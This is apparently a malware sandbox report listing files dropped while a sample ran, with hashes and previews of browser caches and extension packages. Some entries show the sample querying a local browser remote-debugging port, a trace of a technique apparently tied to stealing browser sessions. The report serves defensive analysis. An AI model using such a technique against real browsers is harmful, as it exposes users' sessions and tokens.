gT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e7f67f3d-01b7-4bf8-a3c1-faccc1389568.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59125
Entropy (8bit):	6.100188357967201
Encrypted:	false
SSDEEP:	1536:NMk1rT8HTaYvhaPGWv/sxtwJ5QObFJFoG7VLyMV/YosU:NMYrT8zVvIv/4K3Q+vjVeZosU
MD5:	D339E06D3A6395DFA5EB0DB117537FDF
SHA1:	3D952565BDE9ADCF399A5B6C2450FBB406144329
SHA-256:	DB9FBDEE4B88E8ACB5BC3001A4D3F744B9F0B56ABE7155C0565D8BC2DAF433E7
SHA-512:	59D0F658B63DD75DA4BFDACEF009AC628D1E0F71B121963A54749894F5E056CEE6D934C2F876A316763E836C80A2B9474272A89FBB7AA643C79DDEE381D25CBA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a0518a5-7c9e-49cd-8fbe-da1c505bb7b7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.840343996087818
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxL0xl9Il8uOp6s7y3MvyGr+tfQ1KRFLc8OL8Jbd1rc:mNY26s7y3MvDrCf4KzoZge
MD5:	6F573D80E36F7E326C102E041ACAB38A
SHA1:	EA6CC0BA8D1434F1D085C6EE14886B3929358D6D
SHA-256:	764B8182B37E98DB67662BB6085A8046D183954A574B54648E9CDAB554759E5D
SHA-512:	D5909E2236D72E0365A840B77FD30E59D81608535D022074D908E1B0EA8518AF36358BBA6A69243CE6A9A7ACEDD90B1E0F933F81D3CB64085DFC18E5A592BC84
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.E.f.H.X.m.d.E.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.i./.S.V.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997869726310449
Encrypted:	false
SSDEEP:	96:iYTQs03CS2VGMOV5MB2YQmLYK/QLzqQCI:iuAyQMCZSHILz7p
MD5:	B67038FA3E155AECC333DD659167D89C
SHA1:	8BA4DE6FF28485C34C5D7A4727D8F8AB82E787BE
SHA-256:	FA87B30A079C20E01E7EA66CF88BF6A6700537CD65CF79BC431C74A0FBC8F7E3
SHA-512:	9D8875E90C3777F94238381E373EC1FC921C31044233F7C3AA994CB0C6A41DC8DA6B286D391130B21FDDDBB0042FFAE785C2FAF796B5A12EE21DD35091D3DDFA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.Y.L.e.R.F.9.E.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.i./.S.V.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9074737017708174
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xdxl9Il8uOsy+/N+8z17DYPgZYv7IUTbj1X25d/vc:ajYg+bzFYMUbTbZL
MD5:	4A443B798A9A615164C99DC8F5A19D19
SHA1:	5E4E4FECDA9803EB01B9EA2CB995F88ABCB41A37
SHA-256:	7CC347A278453382DFB4E260D2E403F87B01C86ACFA5FF373EA331BBBF7651D1
SHA-512:	EC3C539C86E107A29E92CB0E775D7F6334D11DA0EEBD7085735256BBC49AA6815CAE61FC816822102D02E84BE9BCBA47549B14DD51A9C28C67F90494A3FDD148
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".a.s.i.U.d.D.B.j.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.i./.S.V.J.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.397093180309333
Encrypted:	false
SSDEEP:	96:6NnCCHC/NnC5CbC5ANnCs9CVNnC1dgECNNnC8CXNnCWDDCBNnC4wC9NnCp3C4:6NUNWnANkNOeNINjDQNhfNm
MD5:	B34A44D73F43D16B3381D6B385ACFE1E
SHA1:	EBE2AD917340CD445AB68C10F481F4B7AF804C5A
SHA-256:	15CC0427D494594C1F66894E6612CF32B3BF41D31A487B0E5450266DC78BFB8A
SHA-512:	F0B6680253DE2EB3A2C177BB1F7AB1C7BB2C3B7D57DBB7A518D04792EDD0B133AB44171255F431F1B3640850564A7C650B4ACC7D0371C0A05FFB1C0B6767C99E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/AAC47D41CFB0269BF12A0CED4FF421BB",.. "id": "AAC47D41CFB0269BF12A0CED4FF421BB",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/AAC47D41CFB0269BF12A0CED4FF421BB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/CDCB25895BBAB1FAF3B09C2B2D9238EA",.. "id": "CDCB25895BBAB1FAF3B09C2B2D9238EA",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/CDCB25895BBAB1FAF3B09C2B2D9238EA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\mtbkkesfthae.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.381697601887623
Encrypted:	false
SSDEEP:	48:SfNaoCRnzTECRlfNaoCcCwfNaoC2nlnuC2nefNaoCkmwdVnw0UrU0U8Ckmw:6NnCRnzTECRRNnCcC8NnC2luC2GNnCtt
MD5:	8799C68A468CED8FCC164110C68FFF85
SHA1:	7F0C6D8273A2333378D8B75802F1A1B468AA24D5
SHA-256:	6AACFEDF102E5C853EF6ED7BE92A692E4AEABD48E76F7D04A2F1159F82030BAB
SHA-512:	9EF77B8A1D4677A36FA811C4C896BC03B94E7E9B1B0409EE09AC21A7623B7040C6613DABFCA8D6A469148597AD966FB0B0A9911B6B84DD282F6583D3EE3CF34B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/4CC79D12305DEDFB5E8D003B86AA93C6",.. "id": "4CC79D12305DEDFB5E8D003B86AA93C6",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/4CC79D12305DEDFB5E8D003B86AA93C6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/9074FD79ACBB88F029AC52F1A7FCF739",.. "id": "9074FD79ACBB88F029AC52F1A7FCF739",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/9074FD79ACBB88F029AC52F1A7FCF739"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\0b5a31e7-de3b-4b94-bd8e-ea85a380eb47.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	337242
Entropy (8bit):	7.959035365404173
Encrypted:	false
SSDEEP:	6144:d5M6xLTOzxmsLGFj4Xwz+aASlmhxL4MSZ5fPl9YMMX6QLsBiU9b:d5M6dTOzo2X5Sox1U5l9YhqQq
MD5:	D9043FFE2E5B0EBE11DF14F794B882A8
SHA1:	53B80DCE84D1C9469BA1E269CD1D11F76CDFC6E9
SHA-256:	B092230F1CE763F3DB4599742FDFEEA38150F6F02F3943CB7E3C637DD946999F
SHA-512:	B2EAEED74A9DB8118AF2CD9C907739C4A6AF6B33541EB52E254030570BD24FA25ED696036D45BEE2EE2D888F87DA530A81BFF4FE9023EF1ADADBB50F83DC1300
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b75a62fc-b0e7-2542-abb1-0cf1051812b8" xmpMM:DocumentID="xmp.did:C653DEED17A311EA8B5BD5250E05F029" xmpMM:InstanceID="xmp.iid:C653DEEC17A311EA8B5BD5250E05F029" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39d3d013-cb07-b94a-9afe-3e232046b219" stRef:documentID="adobe:docid:photoshop:2052e8c3-076c-2b43-8d50-84f2df243b9c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................O..............

C:\Users\user\AppData\Local\Temp\57b4d664-2f3f-4e54-b776-6889fe29eb92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\72e71f53-b8eb-470c-b27a-eacdc3d9d8cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\7a661877-e022-44f1-87b9-5c5f546c0b38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\97da7935-5014-47e9-b397-eec2d5c82558.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a0185236-d9d3-4473-bee1-56ced20f41e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\afffa98b-94b5-43fd-a3b8-f2c080aae6ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.391625121708614
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0q351fv0q/GjDv5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5V
MD5:	9B62D516DCC6F36EF527B17C19E74314
SHA1:	42C0D14275711A50A2429A784AB792D25B021824
SHA-256:	275DA822F0AF7CEDB5A4A17B2E565FD678B34276F67F333A4A3F1DF08C1D787F
SHA-512:	4F00FFF59B551A615D099CEEB2E7A56E4DB34F2EA8188CF7644891D3DC69BD3018C58622AFBEEA60D6E87FB29F6EBB56B1FE021D3067FE1CB0DEA83FD10DA02C
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\72e71f53-b8eb-470c-b27a-eacdc3d9d8cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
